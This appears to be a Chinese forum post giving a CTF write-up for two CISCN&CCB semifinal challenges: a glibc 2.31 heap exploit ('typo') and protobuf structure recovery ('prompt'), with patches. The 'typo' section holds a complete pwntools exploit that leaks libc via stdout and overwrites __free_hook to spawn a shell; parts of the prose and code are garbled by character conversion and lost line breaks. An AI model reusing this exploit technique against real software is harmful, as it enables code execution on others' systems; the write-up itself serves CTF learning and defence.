ciscn&ccb半决赛

钜形不锈钢水箱  金牌会员 | 2025-3-21 02:38:51 | 来自手机 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 999|帖子 999|积分 2997

AWDP

typo

一道2.31的堆题

漏洞点位于edit功能,snprintf函数把用户输入作为format,导致了堆溢出以及格式化字符串漏洞

fix

从步伐的代码不难看出分配出来的堆,前面八个字节是堆的size,后面的空间才是数据域
这里原意是修改heap的size,但是用错了函数,我们修改最大读入的size字节数为8,将snprintf函数nop掉修改为直接给heap->size赋值
如许即避免了堆溢出也不存在格式化字符串漏洞了

break

这里我用的是堆溢出的方法打的
  1. def add(idx, size):
  2.     sla(">> ", str(1))
  3.     sla("Index: ", str(idx))
  4.     sla("Size: ", str(size))
  5. def free(idx):
  6.     sla(">> ", str(2))
  7.     sla("Index: ", str(idx))
  8. def edit(idx, pay, cont):
  9.     sla(">> ", str(3))
  10.     sla("Index: ", str(idx))
  11.     sla("size of content: ", pay)
  12.     sa("you want to say: ", cont)
  13. def quit():
  14.     sla(">> ", str(4))
复制代码
步伐没有show功能,可以利用_IO_FILE来进行leak
起首我们利用chunk overlapping到达类似UAF的功能。即利用溢出覆写chunk的size域来实现堆块重叠
  1.     for i in range(12):
  2.         add(i, 0x80)
  3.     payload = b"%136c"+ p64(0x511)
  4.     edit(0, payload, "a")
  5.     free(1)
  6.     for i in range(12, 12+9):
  7.         add(i, 0x80)
复制代码
效果如下图

接着我们打house of hotcake,构造出unsortedbin和tcachebin重叠
  1.     # chunk 20和chunk 9实际上是同一个chunk
  2.     for i in range(12, 12+7):
  3.         free(i)
  4.     free(20)
  5.     free(19)
  6.     add(1, 0x80)
  7.     free(9)
复制代码

接下来通太过割unsortedbin使libc地点覆盖tcachebin的fd
  1.         add(12, 0x40)
  2.     add(13, 0x30)
复制代码

通过溢出写heap 13的size,然后再溢出修改fd的低两字节,使其指向&_IO_2_1_stdout_ - 0x10的位置,因为低三位是固定的,以是这里爆破成功的概率是1/16
  1.     edit(12, b'A'*0x50+p64(0x420), "aaaa")
  2.     edit(13, b'A'*8, b'A'*0x38+b"\x90\x26")
复制代码
然后修改_IO_2_1_stdout_布局体,泄漏libc地点
  1.     add(14, 0x80)
  2.     add(15, 0x80)
  3.     edit(15, b"A"*8, flat(0, 0xfbad1800,0,0,0)+b"\x00")
  4.     ru(p64(0))
  5.     libc.address = uu64() - 0x1ec980
复制代码
最后劫持__free_hook为system函数,getshell
  1.     edit(13, b"A"*8, b'A'*0x28+flat(0, 0x91))
  2.     free(14)
  3.     edit(13, b"A"*8 , b'A'*0x38+p64(libc.sym["__free_hook"]-8))
  4.     add(16, 0x80)
  5.     add(17, 0x80)
  6.     edit(17, p64(libc.sym["system"]), p64(libc.sym["system"])*4)
  7.     edit(10, b'A'*0x90 + b"/bin/sh\x00", "aaaa")
  8.     free(11)
  9.     ia()
复制代码
exp
  1. from pwn import *import structdef debug(c = 0):    if(c):        gdb.attach(p, c)    else:        gdb.attach(p)        sd = lambda data : p.send(data)sa  = lambda text,data  :p.sendafter(text, data)sl  = lambda data   :p.sendline(data)sla = lambda text,data  :p.sendlineafter(text, data)rc   = lambda num=4096   :p.recv(num)ru  = lambda text   :p.recvuntil(text)rl  = lambda         :p.recvline()pr = lambda num=4096 :print(p.recv(num))ia   = lambda        :p.interactive()l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))int16   = lambda data   :int(data,16)lg = lambda s   :p.success('%s -> 0x%x' % (s, eval(s)))lgn = lambda s, n   :p.success('%s -> 0x%x' % (s, n))context(arch = "amd64",os = "linux",log_level = "debug")#context.terminal = ['tmux','splitw','-h']context.terminal = ['gnome-terminal', '-x', 'sh', '-c']file = "./pwn"libc = "./libc-2.31.so"elf = ELF(file, False)libc = ELF(libc, False)def add(idx, size):
  2.     sla(">> ", str(1))
  3.     sla("Index: ", str(idx))
  4.     sla("Size: ", str(size))
  5. def free(idx):
  6.     sla(">> ", str(2))
  7.     sla("Index: ", str(idx))
  8. def edit(idx, pay, cont):
  9.     sla(">> ", str(3))
  10.     sla("Index: ", str(idx))
  11.     sla("size of content: ", pay)
  12.     sa("you want to say: ", cont)
  13. def quit():
  14.     sla(">> ", str(4))def pwn():    global p    p = process("./pwn")    for i in range(12):        add(i, 0x80)    payload = b"%136c"+ p64(0x511)    edit(0, payload, "a")    stdout_offset = libc.sym["_IO_2_1_stdout_"] & 0xffff # 0xd6a0    free(1)    for i in range(12, 12+9):        add(i, 0x80)    for i in range(12, 12+7):        free(i)    free(20)    free(19)    add(1, 0x80)    free(9)    add(12, 0x40)    add(13, 0x30)    edit(12, b'A'*0x50+p64(0x420), "aaaa")
  15.     edit(13, b'A'*8, b'A'*0x38+b"\x90\x26")    add(14, 0x80)
  16.     add(15, 0x80)
  17.     edit(15, b"A"*8, flat(0, 0xfbad1800,0,0,0)+b"\x00")
  18.     ru(p64(0))
  19.     libc.address = uu64() - 0x1ec980        edit(13, b"A"*8, b'A'*0x28+flat(0, 0x91))    free(14)    edit(13, b"A"*8 , b'A'*0x38+p64(libc.sym["__free_hook"]-8))    add(16, 0x80)    add(17, 0x80)    edit(17, p64(libc.sym["system"]), p64(libc.sym["system"])*4)        lgn("libc_base", libc.address)    #debug("b free\n b malloc")    #pause()    edit(10, b'A'*0x90 + b"/bin/sh\x00", "aaaa")    free(11)    ia()pwn()
复制代码
prompt

proto文件还原

在我之前有篇文章有讲怎样根据二进制C步伐还原proto文件,这里再讲一次
起首IDA里面搜刮常数0x28AAEEF9,这是Protobuf message形貌符的magic number

可以知道该message的名称是HeapPayload,我们能在上面找到它的字段形貌符

我们导入下面布局体到IDA structures,右键将unk_4B20转为布局体ProtobufCFieldDescriptor
一共是四个字段形貌符
  1. enum ProtobufCLabel
  2. {
  3.   PROTOBUF_C_LABEL_REQUIRED = 0x0,      ///< A well-formed message must have exactly one of this field.
  4.   PROTOBUF_C_LABEL_OPTIONAL = 0x1,      ///< A well-formed message can have zero or one of this field (but not
  5.                                         ///< more than one).
  6.   PROTOBUF_C_LABEL_REPEATED = 0x2,      ///< This field can be repeated any number of times (including zero) in a
  7.                                         ///< well-formed message. The order of the repeated values will be
  8.                                         ///< preserved.
  9.   PROTOBUF_C_LABEL_NONE = 0x3,          ///< This field has no label. This is valid only in proto3 and is
  10.                                         ///< equivalent to OPTIONAL but no "has" quantifier will be consulted.
  11. };
  12. enum ProtobufCType
  13. {
  14.   PROTOBUF_C_TYPE_INT32 = 0x0,          ///< int32
  15.   PROTOBUF_C_TYPE_SINT32 = 0x1,         ///< signed int32
  16.   PROTOBUF_C_TYPE_SFIXED32 = 0x2,       ///< signed int32 (4 bytes)
  17.   PROTOBUF_C_TYPE_INT64 = 0x3,          ///< int64
  18.   PROTOBUF_C_TYPE_SINT64 = 0x4,         ///< signed int64
  19.   PROTOBUF_C_TYPE_SFIXED64 = 0x5,       ///< signed int64 (8 bytes)
  20.   PROTOBUF_C_TYPE_UINT32 = 0x6,         ///< unsigned int32
  21.   PROTOBUF_C_TYPE_FIXED32 = 0x7,        ///< unsigned int32 (4 bytes)
  22.   PROTOBUF_C_TYPE_UINT64 = 0x8,         ///< unsigned int64
  23.   PROTOBUF_C_TYPE_FIXED64 = 0x9,        ///< unsigned int64 (8 bytes)
  24.   PROTOBUF_C_TYPE_FLOAT = 0xA,          ///< float
  25.   PROTOBUF_C_TYPE_DOUBLE = 0xB,         ///< double
  26.   PROTOBUF_C_TYPE_BOOL = 0xC,           ///< boolean
  27.   PROTOBUF_C_TYPE_ENUM = 0xD,           ///< enumerated type
  28.   PROTOBUF_C_TYPE_STRING = 0xE,         ///< UTF-8 or ASCII string
  29.   PROTOBUF_C_TYPE_BYTES = 0xF,          ///< arbitrary byte sequence
  30.   PROTOBUF_C_TYPE_MESSAGE = 0x10,       ///< nested message
  31. };
  32. struct ProtobufCFieldDescriptor {
  33.         /** Name of the field as given in the .proto file. */
  34.         const char                *name;
  35.         /** Tag value of the field as given in the .proto file. */
  36.         uint32_t                id;
  37.         /** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
  38.         ProtobufCLabel                label;
  39.         /** The type of the field. */
  40.         ProtobufCType                type;
  41.         /**
  42.          * The offset in bytes of the message's C structure's quantifier field
  43.          * (the `has_MEMBER` field for optional members or the `n_MEMBER` field
  44.          * for repeated members or the case enum for oneofs).
  45.          */
  46.         unsigned                quantifier_offset;
  47.         /**
  48.          * The offset in bytes into the message's C structure for the member
  49.          * itself.
  50.          */
  51.         unsigned                offset;
  52.         const void                *descriptor; /* for MESSAGE and ENUM types */
  53.         /** The default value for this field, if defined. May be NULL. */
  54.         const void                *default_value;
  55.         uint32_t                flags;
  56.         /** Reserved for future use. */
  57.         unsigned                reserved_flags;
  58.         /** Reserved for future use. */
  59.         void                        *reserved2;
  60.         /** Reserved for future use. */
  61.         void                        *reserved3;
  62. };
复制代码


根据还原出来的字段形貌符,我们可以得到如下proto文件(因为存在NONE标签,以是是proto3协议)
  1. syntax = "proto3";
  2. message HeapPayload {
  3.     int32 option = 1;
  4.     repeated int32 chunksize = 2;
  5.     repeated int32 heap_chunks_id = 3;
  6.     bytes heap_content = 4;
  7. }
复制代码
为了方便之后的逆向,我们输入protoc-c --c_out=. heap.proto来编译该proto文件,然后在heap.pb-c.h文件找到该message的C布局体(如下)并导入IDA
  1. struct  HeapPayload
  2. {
  3.   ProtobufCMessage base;
  4.   int32_t option;
  5.   size_t n_chunksize;
  6.   int32_t *chunksize;
  7.   size_t n_heap_chunks_id;
  8.   int32_t *heap_chunks_id;
  9.   ProtobufCBinaryData heap_content;
  10. };
  11. struct ProtobufCBinaryData { // 这个结构体在protobuf-c项目里面有定义
  12.         size_t        len;        /**< Number of bytes in the `data` field. */
  13.         uint8_t        *data;      /**< Data bytes. */
  14. };
复制代码
至此,逆向protobuf部分的工作就完成了。可以看到还原的代码可读性已经不错了

fix

漏洞点:

edit函数没有对size进行判断导致堆溢出(红框处改成v4

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

钜形不锈钢水箱

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表